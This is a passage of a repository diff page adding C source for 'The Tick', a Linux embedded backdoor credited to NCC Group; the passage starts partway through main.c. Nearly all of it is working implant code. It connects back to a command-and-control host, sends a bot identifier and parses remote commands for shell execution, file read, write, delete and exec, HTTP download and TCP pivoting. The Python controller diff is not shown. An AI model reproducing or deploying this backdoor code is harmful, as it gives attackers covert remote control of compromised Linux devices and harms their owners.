// Call the global initialization routine.
hello();
// Set the global cleanup routine to be run automatically on exit.
atexit(goodbye);
// Connect to the C&C over TCP.
if (argc == 3) {
printf("Starting up...\n");
// Command line arguments are the hostname and port.
char *hostname = argv[1];
int port = atoi(argv[2]);
// Initialize the parser.
Parser parser;
Parser *p = &parser;
parser_init(p, hostname, port, NULL, NULL);
// Launch the main command loop.
while (command_loop(p) == 0) {}
}
// Quit.
return 0;
}
// Global initialization routine.
void hello(void)
{
// Initialize the HTTP module.
http_init();
}
// Global cleanup routine.
void goodbye(void)
{
// Cleanup the HTTP module.
http_cleanup();
}

18
src/main.h Normal file
View File

@ -0,0 +1,18 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef MAIN_H
#define MAIN_H
int main(int argc, char *argv[]);
void hello(void);
void goodbye(void);
#endif /* MAIN_H */

330
src/parser.c Normal file
View File

@ -0,0 +1,330 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/statvfs.h>
#include <time.h>
#include "parser.h"
#include "command.h"
#include "shell.h"
#include "tcp.h"
#include "file.h"
// Helper function to generate UUIDv4 values.
// Output buffer is assumed to be exactly 16 bytes long.
void uuid4(unsigned char *uuid)
{
// Generate 16 random numbers using rand().
// This is really bad but it works as a fallback.
srand((unsigned int) time(NULL) ^ (unsigned int) getpid());
for (int i = 0; i < 16; i++) {
uuid[i] = (unsigned char) (unsigned int) rand();
}
// Do it again but this time using /dev/urandom.
// Since we're overwriting the buffer we get a fallback.
// Paranoid? Absolutely! ;)
int fd = open("/dev/urandom", O_RDONLY);
if (fd >= 0) {
int total = 0;
while (total < 16) {
int bytes = read(fd, &uuid[total], 16 - total);
if (bytes <= 0) break; // should never happen...
total = total + bytes;
}
close(fd);
}
// We need to make some bits fixed to follow the RFC.
uuid[6] = 0x40 | (uuid[6] & 0xf);
uuid[8] = 0x80 | (uuid[8] & 0x3f);
}
// Initialize the parser.
void parser_init(Parser *parser, const char *hostname, int port, ConnectionCallback callback, void *userdata)
{
parser->hostname = (char *) hostname;
parser->port = port;
parser->callback = callback;
parser->userdata = userdata;
parser->fd = -1;
parser->header.cmd_id = 0;
parser->header.cmd_len = 0;
parser->header.data_len = 0;
uuid4(parser->uuid);
memset(&parser->buffer, 0, sizeof(parser->buffer));
}
// Closes the file descriptor and resets some internal variables.
void parser_close(Parser *parser)
{
if (parser->fd >= 0) {
shutdown(parser->fd, 2);
close(parser->fd);
}
parser->fd = -1;
parser->header.cmd_id = 0;
parser->header.cmd_len = 0;
parser->header.data_len = 0;
memset(&parser->buffer, 0, sizeof(parser->buffer));
}
// Send a command response header. Data should be sent by the caller.
void parser_begin_response(Parser *parser, uint8_t status, uint16_t length)
{
RESP_HEADER resp;
resp.status = status;
resp.data_len = htonl(length);
send_block(parser->fd, (const char *) &resp, sizeof(resp));
}
// Send an empty success response.
void parser_ok(Parser *parser)
{
parser_begin_response(parser, CMD_STATUS_OK, 0);
}
// Send an error response.
void parser_error(Parser *parser, const char *error)
{
uint16_t length = 0;
if (error != NULL) {
length = (uint16_t) strlen(error);
if (length != strlen(error)) {
length = 0;
}
}
parser_begin_response(parser, CMD_STATUS_ERROR, length);
if (length > 0) {
send_block(parser->fd, error, length);
}
}
// Test to see if the socket is connected.
int parser_is_connected(Parser *parser)
{
return (parser->fd >= 0 && send(parser->fd, NULL, 0, MSG_NOSIGNAL) == 0);
}
// If not conected, connects the socket. If connected, does nothing.
void parser_connect(Parser *parser)
{
// Do nothing if we're already connected.
if ( ! parser_is_connected(parser) ) {
// Close the old socket and reset internal variables.
parser_close(parser);
// Reconnection only makes sense when using TCP connect back.
// Make sure this is the case.
if (parser->hostname != NULL) {
// Connect to the given hostname and port.
printf("Connecting to %s:%d...\n", parser->hostname, parser->port);
while (parser->fd < 0) {
parser->fd = connect_to_host(parser->hostname, parser->port);
if (parser->fd < 0) {
printf("Error connecting, waiting 30 seconds to retry...\n");
sleep(30); // Sleep 30 seconds between failed attempts
} else {
printf("Connected to %s:%d\n", parser->hostname, parser->port);
}
}
// Send the bot ID immediately after a successful (re)connection.
send_block(parser->fd, parser->uuid, sizeof(parser->uuid));
// Invoke the callback. MUST be done after sending the ID.
if (parser->callback != NULL && ((ConnectionCallback) parser->callback)(parser, parser->userdata) != 0) {
printf("Callback told us to die!\n");
parser_close(parser);
return;
}
// If reconnection is not possible, set a fake quit command.
// This will kill the listener on error.
} else {
parser->header.cmd_id = CMD_SYSTEM_EXIT;
parser->header.cmd_len = 0;
parser->header.data_len = 0;
}
}
}
// Blocking call to wait for the next command.
// Will reconnect the socket automatically if needed.
void parser_wait(Parser *parser)
{
// Reconnect automatically if needed.
// If reconnection fails permanently, exit.
parser_connect(parser);
if ( ! parser_is_connected(parser) ) {
return;
}
// Read the command block header.
// Drop and restart if the connection is interrupted.
// If reconnection fails permanently, exit.
while (1) {
memset((void *) &parser->header, 0, sizeof(parser->header));
if (recv_block(parser->fd, (char *) &parser->header, sizeof(parser->header)) < 0) {
parser_close(parser);
parser_connect(parser);
if ( ! parser_is_connected(parser) ) {
return;
}
continue;
}
break;
}
// Fix the endianness.
parser->header.cmd_id = ntohs(parser->header.cmd_id);
parser->header.cmd_len = ntohs(parser->header.cmd_len);
parser->header.data_len = ntohl(parser->header.data_len);
// Clean up the internal buffer.
memset((void *) &parser->buffer, 0, sizeof(parser->buffer));
}
// Skip all extra data in the socket until the next command header.
void parser_next(Parser *parser)
{
// If we are connected...
if (parser_is_connected(parser)) {
// Calculate how much unread data we have in the socket.
size_t extra_data = (size_t) parser->header.cmd_len + (size_t) parser->header.data_len;
// If we have unread data...
if (extra_data > 0) {
// Skip as many bytes as needed.
if (consume_extra_data(parser->fd, extra_data) < 0) {
// On error, reconnect and reset internal variables.
parser_connect(parser);
} else {
// On success, update the internal variables.
parser->header.cmd_len = 0;
parser->header.data_len = 0;
}
}
// If we are not connected...
} else {
// Reconnect and reset internal variables.
parser_connect(parser);
}
}
// Read the first argument for the current command into an arbitrary buffer.
// Note that the argument IS NOT guaranteed to be null terminated!
// Returns the amount of bytes read on success or -1 on error (and drops the connection).
ssize_t parser_read_first_arg(Parser *parser, char *buffer, size_t count)
{
ssize_t bytes = 0;
// Discard commands where the first argument is larger than the buffer size.
if ((size_t) parser->header.cmd_len > count) {
printf("Error: first argument too long: %d > %d\n", (unsigned int) parser->header.cmd_len, (unsigned int) count);
parser_error(parser, "first argument to long");
return -1;
}
// Load the first argument into the buffer.
memset((void *) buffer, 0, count);
bytes = recv_block(parser->fd, buffer, parser->header.cmd_len);
// On error drop the connection.
if (bytes < 0) {
parser_close(parser);
return -1;
}
// Update the internal counter.
parser->header.cmd_len = 0;
return bytes;
}
// Read the first argument for the current command into our internal buffer.
// When using this function, the argument is guaranteed to be null terminated.
// Returns the amount of bytes read on success or -1 on error (and drops the connection).
ssize_t parser_get_first_arg(Parser *parser)
{
memset(parser->buffer, 0, sizeof(parser->buffer));
return parser_read_first_arg(parser, (char *) &parser->buffer, sizeof(parser->buffer) - 1);
}
// Read the second argument for the current command into an arbitrary buffer.
// Note that the argument IS NOT guaranteed to be null terminated!
// Returns the amount of bytes read on success or -1 on error (and drops the connection).
ssize_t parser_read_second_arg(Parser *parser, char *buffer, size_t count)
{
ssize_t bytes = 0;
// Discard commands where the second argument is larger than the buffer size.
if ((size_t) parser->header.data_len > count) {
printf("Error: second argument too long: %d > %d\n", (unsigned int) parser->header.data_len, (unsigned int) count);
parser_error(parser, "second argument to long");
return -1;
}
// Load the second argument into the buffer.
memset((void *) buffer, 0, count);
bytes = recv_block(parser->fd, buffer, parser->header.data_len);
// On error drop the connection.
if (bytes < 0) {
parser_close(parser);
return -1;
}
// Update the internal counter.
parser->header.data_len = 0;
return bytes;
}
// Read the second argument for the current command into our internal buffer.
// When using this function, the argument is guaranteed to be null terminated.
// Returns the amount of bytes read on success or -1 on error (and drops the connection).
ssize_t parser_get_second_arg(Parser *parser)
{
memset(parser->buffer, 0, sizeof(parser->buffer));
return parser_read_second_arg(parser, (char *) &parser->buffer, sizeof(parser->buffer) - 1);
}
// Pipe the second argument for the current command into a file descriptor.
// Returns the amount of bytes read on success or -1 on error (and drops the connection).
ssize_t parser_pipe_second_arg(Parser *parser, int fd_dst)
{
ssize_t bytes = parser->header.data_len;
if (copy_stream(parser->fd, fd_dst, parser->header.data_len) < 0) {
parser_close(parser);
return -1;
}
parser->header.data_len = 0;
return bytes;
}

135
src/parser.h Normal file
View File

@ -0,0 +1,135 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef PARSER_H
#define PARSER_H
#include <sys/types.h>
#include <stdint.h>
// Base command IDs per category.
#define BASE_CMD_SYSTEM 0x0000
#define BASE_CMD_FILE 0x0100
#define BASE_CMD_NET 0x0200
// No operation command.
#define CMD_NOP 0xFFFF
// System commands.
#define CMD_SYSTEM_EXIT BASE_CMD_SYSTEM + 0
#define CMD_SYSTEM_FORK BASE_CMD_SYSTEM + 1
#define CMD_SYSTEM_SHELL BASE_CMD_SYSTEM + 2
//#define CMD_SYSTEM_SIGNAL BASE_CMD_SYSTEM + 3 // TODO
//#define CMD_SYSTEM_PS BASE_CMD_SYSTEM + 4 // TODO
//#define CMD_SYSTEM_INSTALL BASE_CMD_SYSTEM + 5 // TODO PRIORITY
//#define CMD_SYSTEM_UNINSTALL BASE_CMD_SYSTEM + 6 // TODO PRIORITY
// File I/O commands.
#define CMD_FILE_READ BASE_CMD_FILE + 0
#define CMD_FILE_WRITE BASE_CMD_FILE + 1
#define CMD_FILE_DELETE BASE_CMD_FILE + 2
#define CMD_FILE_EXEC BASE_CMD_FILE + 3
#define CMD_FILE_CHMOD BASE_CMD_FILE + 4
//#define CMD_FILE_STAT BASE_CMD_FILE + 5 // TODO
//#define CMD_FILE_LIST BASE_CMD_FILE + 6 // TODO
//#define CMD_FILE_FIND BASE_CMD_FILE + 7 // TODO
//#define CMD_FILE_COPY BASE_CMD_FILE + 8 // TODO
//#define CMD_FILE_MOVE BASE_CMD_FILE + 9 // TODO
// Network commands.
#define CMD_HTTP_DOWNLOAD BASE_CMD_NET + 0
#define CMD_DNS_RESOLVE BASE_CMD_NET + 1
#define CMD_TCP_PIVOT BASE_CMD_NET + 2
//#define CMD_TCP6_PIVOT BASE_CMD_NET + 3 // TODO
//#define CMD_TCP_TUNNEL BASE_CMD_NET + 4 // TODO
//#define CMD_TCP6_TUNNEL BASE_CMD_NET + 5 // TODO
//#define CMD_UDP_TUNNEL BASE_CMD_NET + 6 // TODO
//#define CMD_UDP6_TUNNEL BASE_CMD_NET + 7 // TODO
// Command header.
#pragma pack(push, 1)
typedef struct // (all values below in network byte order)
{
uint16_t cmd_id; // Command ID
uint16_t cmd_len; // Small data size, to be read in memory while parsing
uint32_t data_len; // Big data size, to be read by command implementations
} CMD_HEADER;
#pragma pack(pop)
// Response codes.
#define CMD_STATUS_OK 0x00
#define CMD_STATUS_ERROR 0xFF
// Response header.
#pragma pack(push, 1)
typedef struct // (all values below in network byte order)
{
uint8_t status; // Status code (OK or ERROR)
uint32_t data_len; // Big data size
} RESP_HEADER;
#pragma pack(pop)
// TCP pivot structure for IPv4.
#pragma pack(push, 1)
typedef struct // (all values below in network byte order)
{
uint32_t ip; // IP address to connect to
uint16_t port; // TCP port to connect to
uint16_t from_port; // Optional TCP port to connect from
} CMD_TCP_PIVOT_ARGS;
#pragma pack(pop)
// TCP tunnel structure for IPv4.
#pragma pack(push, 1)
typedef struct // (all values below in network byte order)
{
uint32_t src_ip; // Source IP address
uint32_t dst_ip; // Destination IP address
uint16_t src_port; // Source TCP port
uint16_t dst_port; // Destination TCP port
uint16_t from_src_port; // Optional source connecting port for source (if connecting)
uint16_t from_dst_port; // Optional source connecting port for destination
} CMD_TCP_TUNNEL_ARGS;
#pragma pack(pop)
// Parser class definition.
typedef struct
{
char *hostname;
int port;
void *callback; // it's really ConnectionCallback
void *userdata;
unsigned char uuid[16];
int fd;
CMD_HEADER header;
char *buffer[1024];
} Parser;
// Callback function type.
typedef int (*ConnectionCallback)(Parser *parser, void *userdata);
// Parser method signatures.
void uuid4(unsigned char *uuid);
void parser_init(Parser *parser, const char *hostname, int port, ConnectionCallback callback, void *userdata);
void parser_close(Parser *parser);
void parser_begin_response(Parser *parser, uint8_t status, uint16_t length);
void parser_ok(Parser *parser);
void parser_error(Parser *parser, const char *error);
int parser_is_connected(Parser *parser);
void parser_connect(Parser *parser);
void parser_wait(Parser *parser);
void parser_next(Parser *parser);
ssize_t parser_get_first_arg(Parser *parser);
ssize_t parser_get_second_arg(Parser *parser);
ssize_t parser_read_first_arg(Parser *parser, char *buffer, size_t count);
ssize_t parser_read_second_arg(Parser *parser, char *buffer, size_t count);
ssize_t parser_pipe_second_arg(Parser *parser, int fd_dst);
#endif /* PARSER_H */

33
src/shell.c Normal file
View File

@ -0,0 +1,33 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "shell.h"
int run_simple_command(const char *command, char *buffer, const size_t count)
{
int success = 0;
size_t read = 0;
FILE* file = popen(command, "r");
if (file != NULL) {
while (count > read + 1) {
if (fgets(buffer + read, count - read, file) == NULL) break;
read = strlen(buffer);
}
buffer[read] = 0;
if (pclose(file) != -1) {
success = 1;
}
}
return success;
}

18
src/shell.h Normal file
View File

@ -0,0 +1,18 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef SHELL_H
#define SHELL_H
#include <sys/types.h>
int run_simple_command(const char *command, char *buffer, const size_t count);
#endif /* SHELL_H */

246
src/tcp.c Normal file
View File

@ -0,0 +1,246 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/time.h>
#include <fcntl.h>
#include <sys/param.h>
#include <errno.h>
#include "tcp.h"
// Helper function to create a blocking socket with keepalive.
int create_socket(int family)
{
int fd = socket(family, SOCK_STREAM, 0);
if (fd >= 0) {
int true_val = 1;
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &true_val, sizeof(true_val));
}
return fd;
}
// Helper function to connect a socket with a connection timeout.
int connect_socket(int fd, const struct sockaddr *sa, size_t count)
{
fd_set fdset;
struct timeval timeout;
int fdopts = 0;
int status = 0;
int so_error = -1;
socklen_t so_error_len = sizeof(so_error);
// Set the socket in non blocking mode before connecting.
fdopts = fcntl(fd, F_GETFL, 0);
fdopts = fdopts | O_NONBLOCK;
fcntl(fd, F_SETFL, fdopts);
// Begin connecting the socket. This will not block anymore.
connect(fd, sa, count);
// This will hold the connection timeout value.
FD_ZERO(&fdset);
FD_SET(fd, &fdset);
timeout.tv_sec = 10; // 10 second timeout
timeout.tv_usec = 0;
// Wait for connection or timeout.
status = select(fd + 1, NULL, &fdset, NULL, &timeout);
getsockopt(fd, SOL_SOCKET, SO_ERROR, &so_error, &so_error_len);
// Revert to blocking mode now that we're done waiting.
fdopts = fdopts & (~O_NONBLOCK);
fcntl(fd, F_SETFL, fdopts);
// Return the connected socket on success, -1 on error.
if(status != 1 || so_error != 0) {
return -1;
}
return fd;
}
// Connects to the given hostname and port. Supports IPv6 and IPv6.
// On error returns -1.
int connect_to_host(const char *hostname, int port)
{
struct hostent *he = NULL;
int fd = -1;
// First, let's resolve the hostname. If we don't want any DNS queries then
// an IP address can be specified instead of a hostname. This should support
// both IPv6 and IPv6 in all systems, hopefully, but your mileage may vary.
if ( (he = gethostbyname(hostname)) == NULL || he->h_addr == NULL) {
printf("Cannot resolve host %s\n", hostname);
return -1;
}
// Now we have different connection routines for IPv4 and IPv6.
if (he->h_addrtype == AF_INET) {
struct sockaddr_in sa;
memset((void *) &sa, 0, sizeof(sa));
memcpy((void *) &sa.sin_addr, (void *) he->h_addr, sizeof(sa.sin_addr));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
if ( ((fd = create_socket(AF_INET)) < 0) || (connect_socket(fd, (const struct sockaddr *) &sa, sizeof(sa)) < 0) ) {
printf("Cannot connect to %s:%d\n", hostname, port);
return -1;
}
} else if (he->h_addrtype == AF_INET6) {
struct sockaddr_in6 sa;
memset((void *) &sa, 0, sizeof(sa));
memcpy((void *) &sa.sin6_addr, (void *) he->h_addr, sizeof(sa.sin6_addr));
sa.sin6_family = AF_INET6;
sa.sin6_port = htons(port);
if ( (fd = create_socket(AF_INET6)) < 0 || connect_socket(fd, (const struct sockaddr *) &sa, sizeof(sa)) < 0 ) {
printf("Cannot connect to %s:%d\n", hostname, port);
return -1;
}
} else {
printf("Internal error\n");
return -1;
}
// We are connected, return the socket file descriptor.
return fd;
}
// Helper function to set up a listening socket.
// Bind address will usually be INADDR_ANY or INADDR_LOOPBACK.
// If port 0 is specified a random port will be opened and the
// actual port number that was chosen will be written back.
// Returns the socket on success or -1 on error.
// NOTE: currently only IPv4 is supported.
int listen_on_port(const char *bind_addr, int *port)
{
// Create a new socket.
int sock = create_socket(AF_INET);
if (sock < 0) {
printf("Internal error\n");
return -1;
}
// Attempt to reuse the port when binding if needed.
// Ignore any errors on this call.
int so_reuseaddr = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &so_reuseaddr, sizeof(so_reuseaddr));
// Bind the socket to the given address and port.
// NOTE: currently only IPv4 is supported.
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(*port);
inet_aton(bind_addr, &serv_addr.sin_addr);
if (bind(sock, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) != 0) {
close(sock);
printf("Cannot bind to %s:%d\n", bind_addr, *port);
return -1;
}
// Get the port number back from the socket.
// That way if bind() picked a random port we know which one it is.
if (*port == 0) {
socklen_t serv_addr_len = sizeof(serv_addr);
if (getsockname(sock, (struct sockaddr*) &serv_addr, &serv_addr_len) != 0) {
close(sock);
printf("Internal error\n");
return -1;
}
*port = ntohs(serv_addr.sin_port);
if (*port == 0) {
close(sock);
printf("Internal error\n");
return -1;
}
}
// Listen for incoming connections.
if (listen(sock, SOMAXCONN) < 0) {
close(sock);
printf("Cannot listen on port %d\n", *port);
return -1;
}
// Return the socket on success.
return sock;
}
// Sends a block of data over a TCP socket.
// Does not return until all data has been sent.
// Returns 0 on success or -1 if the connection was interrupted.
int send_block(int fd, const char *buf, size_t count)
{
ssize_t data_sent = -1;
while (count > 0) {
data_sent = write(fd, (const void *) buf, count);
if (data_sent < 0) {
printf("Connection interrupted!\n");
return -1;
}
buf = buf + data_sent;
count = count - data_sent;
}
return 0;
}
// Reads a block of data from a TCP socket.
// Does not return until all data has been read.
// Returns 0 on success or -1 if the connection was interrupted.
int recv_block(int sock, char *buf, size_t count)
{
ssize_t data_recv = -1;
while (count > 0) {
data_recv = recv(sock, (void *) buf, count, 0);
if (data_recv <= 0) {
printf("Connection interrupted!\n");
return -1;
}
buf = buf + data_recv;
count = count - data_recv;
}
return 0;
}
// Consume "count" bytes from socket "fd" and discard them.
// Returns the number of bytes discarded, or -1 on error.
ssize_t consume_extra_data(int fd, size_t count)
{
ssize_t bytes = 0;
ssize_t total = 0;
char buffer[256];
while (count != 0) {
bytes = recv(fd, (void *) &buffer, MIN(sizeof(buffer), count), 0);
if (bytes <= 0) {
return -1;
}
total = total + bytes;
count = count - (size_t) bytes;
}
return total;
}
// Close a TCP connection in a "nice" way.
void disconnect_tcp(int fd)
{
if (fd >= 0) {
shutdown(fd, SHUT_RD);
close(fd);
}
}

26
src/tcp.h Normal file
View File

@ -0,0 +1,26 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef TCP_H
#define TCP_H
#include <sys/types.h>
#include <sys/socket.h>
int create_socket(int family);
int connect_socket(int fd, const struct sockaddr *sa, size_t count);
int connect_to_host(const char *hostname, int port);
int listen_on_port(const char *bind_addr, int *port);
int send_block(int fd, const char *buf, size_t count);
int recv_block(int sock, char *buf, size_t count);
ssize_t consume_extra_data(int fd, size_t count);
void disconnect_tcp(int fd);
#endif /* TCP_H */

2269
tick.py Executable file

File diff suppressed because it is too large Load Diff